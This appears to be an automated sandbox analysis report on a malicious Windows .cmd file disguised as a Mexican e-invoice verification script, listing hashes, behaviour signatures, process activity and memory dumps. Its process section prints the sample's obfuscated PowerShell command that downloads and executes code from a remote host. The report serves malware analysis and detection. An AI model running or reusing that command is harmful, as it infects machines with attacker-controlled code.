Analysis
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max time kernel
43s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
20-05-2022 03:36
Static task
static1
Behavioral task
behavioral1
Sample
do-master/Verificacfdi.facturaelectronica.emision.cmd
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
do-master/Verificacfdi.facturaelectronica.emision.cmd
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
do-master/x.exe
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
do-master/x.exe
Resource
win10v2004-20220414-en
General
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Target
do-master/Verificacfdi.facturaelectronica.emision.cmd
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Size
412B
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MD5
fc68a566b6eec162cedf8d4ec6d7e00e
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SHA1
7fc6706af1d7a63262f99734922228656a6fa300
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SHA256
99670c0c832be53b90e0c52cdb385a926346e36642b876296f0be9f01b81decc
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SHA512
4276ad4a487034a6d32985958fc0380e585c99b248dbd8ae0852e3af5b71d820f1e129bf0e0342e801b29cc0aae3ce37352086de22a93e763c659da450979489
Malware Config
Signatures
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Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1928 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1928 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exedescription pid process target process PID 1012 wrote to memory of 1748 1012 cmd.exe cmd.exe PID 1012 wrote to memory of 1748 1012 cmd.exe cmd.exe PID 1012 wrote to memory of 1748 1012 cmd.exe cmd.exe PID 1012 wrote to memory of 1928 1012 cmd.exe powershell.exe PID 1012 wrote to memory of 1928 1012 cmd.exe powershell.exe PID 1012 wrote to memory of 1928 1012 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\do-master\Verificacfdi.facturaelectronica.emision.cmd"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://tma8sjw.myftp.org/mx/a9Y0P6X9y9f1d5uayNa/kk/a9Y0P6X9y9f1d5uayNa')"); "2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindowsPowerShell\v1.0\powershell.exe -nop -win 1 -2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/1748-54-0x0000000000000000-mapping.dmp
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memory/1928-55-0x0000000000000000-mapping.dmp
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memory/1928-56-0x000007FEFC4D1000-0x000007FEFC4D3000-memory.dmpFilesize
8KB
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memory/1928-57-0x000007FEF3F40000-0x000007FEF4A9D000-memory.dmpFilesize
11.4MB
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memory/1928-58-0x00000000027D4000-0x00000000027D7000-memory.dmpFilesize
12KB
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memory/1928-59-0x000000001B800000-0x000000001BAFF000-memory.dmpFilesize
3.0MB
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memory/1928-60-0x00000000027DB000-0x00000000027FA000-memory.dmpFilesize
124KB